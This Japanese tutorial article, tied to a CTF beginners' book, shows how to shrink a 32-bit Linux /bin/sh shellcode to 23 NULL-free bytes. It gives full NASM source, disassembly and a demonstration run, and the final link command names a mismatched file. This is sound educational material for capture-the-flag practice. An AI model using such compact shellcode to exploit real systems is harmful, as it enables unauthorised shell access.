マナティ

セキュリティコンテストチャレンジブック

シェルコードを圧縮する

書籍『セキュリティコンテストチャレンジブック』2章 pwnの関連記事としてシェルコードに関する記事を3回にわたって掲載。シェルコードを大幅にダイエットしてみましょう。短く書くことで小さなバッファにもシェルコードを送り込みやすくなります。

64265_ext_02_0.png

はじめに

この連載では『セキュリティコンテストチャレンジブック』2章「pwn」の関連記事としてシェルコードに関する記事を計3回にわたって掲載します。(書籍未掲載記事です!) 前回の記事『3 シェルコードを書いてみる』はこちら

4. シェルコードを圧縮する

シェルコードはできるだけ短く書くことで小さなバッファにもシェルコードを送り込みやすくなります。先ほど 33 バイトだった binsh.s を様々なテクニックを用いて大幅にダイエットしてみましょう。

・XOR を使う

シェルコードで目立つのは mov ecx, 0 などの mov 命令に NULL バイトが多く含まれていて勿体無いという点です。また、 NULL バイトは文字列の終端として扱われるためシェルコード中では極力使わない方がより文字列操作関数の影響を受けにくい、ポータブルなシェルコードを作成することができます。

XOR は排他的論理和の演算を行いますが、この演算は同じ値で XOR を取ると結果が 0 になる特徴があります。mov ecx, 0 では単純に ecx を 0 にするという処理だけであるため、xor 命令に置換することができます。

; binsh2.s
BITS 32
global _start

_start:
    mov eax, 11
    jmp buf
setebx:
    pop ebx
    xor ecx, ecx
    xor edx, edx
    int 0x80
    
buf:
    call setebx
    db '/bin/sh', 0

これを NASM でアセンブルしてサイズを確認すると 33 バイトから 27 バイトと、6 バイトもの削減を達成することが出来ました。mov 命令によるゼロクリアを xor 命令に置き換えることでサイズ削減と NULL バイトの除去の一石二鳥の効果があるため、シェルコードを作成するときには忘れずに使うようにしましょう。

$ nasm binsh2.s
$ wc binsh2
 0  1 27 binsh2
$ ndisasm -b32 binsh2
00000000  B80B000000        mov eax,0xb
00000005  EB07              jmp short 0xe
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  31D2              xor edx,edx
0000000C  CD80              int 0x80
0000000E  E8F4FFFFFF        call dword 0x7
00000013  2F                das
00000014  62696E            bound ebp,[ecx+0x6e]
00000017  2F                das
00000018  7368              jnc 0x82
0000001A  00                db 

・小さいサイズのレジスタを使用する

次に目がつくのは mov eax, 11 の命令です。他の mov 命令は単純に xor 命令に置き換えることで短くすることができましたが、 0 以外の値をセットしている場合にはどうすればよいでしょうか。実は eax, ebx, ecx, edx のレジスタには 1 バイト単位でアクセスする方法が存在します。レジスタのすべての範囲にアクセスできるわけではありませんが、次の表のような対応でレジスタにアクセスすることができます。

shell_fig01.jpg

例えば、 eax = 0x12345678 となっているとき、 eax レジスタの下位 8 ビットにアクセスしたい場合は al レジスタにアクセスすることで 0x78 の部分の値を読み書きできることになります。

mov eax, 11 という命令は見方を変えれば「 eax レジスタをゼロクリアした後に al レジスタに 11 を書き込む」というように 2 つに分けて考えることができます。つまり、先ほどの XOR を使ったゼロリセットと al レジスタを使った書き込みを行うことで mov eax, 11 という命令を置き換えることができます。

; binsh3.s
BITS 32
global _start

_start:
    xor eax, eax
    mov al, 11
    jmp buf
setebx:
    pop ebx
    xor ecx, ecx
    xor edx, edx
    int 0x80
    
buf:
    call setebx
    db '/bin/sh', 0

このコードを先ほどと同じように NASM でコンパイルしてサイズの比較をしてみます。

$ nasm binsh3.s
$ wc binsh3
 0  2 26 binsh3
$ ndisasm -b 32 binsh3
00000000  31C0              xor eax,eax
00000002  B00B              mov al,0xb
00000004  EB07              jmp short 0xd
00000006  5B                pop ebx
00000007  31C9              xor ecx,ecx
00000009  31D2              xor edx,edx
0000000B  CD80              int 0x80
0000000D  E8F4FFFFFF        call dword 0x6
00000012  2F                das
00000013  62696E            bound ebp,[ecx+0x6e]
00000016  2F                das
00000017  7368              jnc 0x81
00000019  00                db 

置き換えた結果、 27 バイトだったシェルコードが 1 バイト短くなり、 26 バイトになりました。同時に シェルコードの末端以外に NULL バイトが出現しなくなったため、文字列として扱った際に NULL バイトにより処理が途中で止まる問題も発生しなくなりました。

・スタック上にバッファを取る

ここまでで 2 つのテクニックを用いてシェルコードの短縮をしてきましたが、シェル起動のためのシェルコードはまだ短縮することができます。最初は説明の簡単化のために jmp-call を使って /bin/sh のアドレスを取得していましたが、この文字列をスタック上に push してアドレスを取得することでさらなるシェルコード短縮を実現することができます。

push 命令はスタックトップに値を追加する動作を行います。スタックはメモリ上に存在するため、スタックのトップを指す ESP レジスタはメモリ上の値を保持していることになります。つまり、スタック上に文字列のバッファを置いてしまえば ESP レジスタを使って文字列の先頭アドレスを取得できるのです。

スタックには /bin//sh という 8 バイトの文字列と、文字列の終端となる NULL バイトを 3 回に分けて push しています。スタックは上に積み上げていくため、push するときは順番に気をつけてください。

shell_fig02.jpg

この通りにスタックに push するときのアセンブラ命令は次のようになります。

push 0
push 0x68732f2f
push 0x6e69622f

しかし、このままでは push 0 を行うときにシェルコード中に NULL バイトが登場してしまうことが予想されます。2 つのテクニックを使ってせっかく NULL バイトをなくしたのにこれでは意味がありません。代わりに xor 命令でゼロクリアしたレジスタの値を push することでシェルコード中に NULL バイトが現れるのを防ぐことができます。

スタックへ /bin//sh の文字列を置くことさえできてしまえば、 mov ebx, esp を使うだけで簡単に文字列のアドレスを EBX レジスタにセットすることができます。ここまでの一連の変更を加えたシェルコードは次のようになります。

; binsh4.s
BITS 32
global _start

_start:
    xor eax, eax
    mov al, 11
    xor ecx, ecx
    xor edx, edx
    push ecx
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
    int 0x80

最初に書いたシェルコードと比べると驚くほどすっきりした印象を持つかと思います。シェルコードを短く書くということは無駄な処理を省くことと同じですから、短いシェルコードほど綺麗にまとまっている印象を受けるようになります。

それではこのコードをアセンブルして結果を確認してみましょう。

$ nasm binsh4.s 
$ wc binsh4
 0  2 23 binsh4
$ ndisasm -b 32 binsh4
00000000  31C0              xor eax,eax
00000002  B00B              mov al,0xb
00000004  31C9              xor ecx,ecx
00000006  31D2              xor edx,edx
00000008  51                push ecx
00000009  682F2F7368        push dword 0x68732f2f
0000000E  682F62696E        push dword 0x6e69622f
00000013  89E3              mov ebx,esp
00000015  CD80              int 0x80

26 バイトから更に 3 バイト短くなり、なんと 23 バイトでシェルが起動するシェルコードを書くことができました。最初のシェルコードが 33 バイトだったことを考えると、 10 バイトの削減に成功したことになります。更に NULL バイトも含まれておらず、とても整ったシェルコードに生まれ変わりました。

最後にここまで短くなったシェルコードが本当に動くかどうか確認します。

$ nasm -f aout binsh4.s 
$ ld -m elf_i386 binsh.o
$ ./a.out 
$ id
uid=1000(ctf4b) gid=1000(ctf4b) groups=1000(ctf4b),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)
$ exit

問題なく動いているようです。このようなテクニックを知っておくとシェルコードを短くするほかに、特定バイトを使うことができないなどの制約付きのシェルコード問題が出題された時に焦らず対処できるようになるので、日頃からシェルコードを書いてみる習慣を付けておきましょう。

著者プロフィール

SECCON実行委員会/CTF for ビギナーズ(著者)
コンピュータセキュリティ技術を競う競技であるCTF (Capture The Flag) の初心者を対象とした勉強会。CTFに必要な知識を学ぶ専門講義と実際に問題に挑戦してCTFを体験してもらう演習を行っている。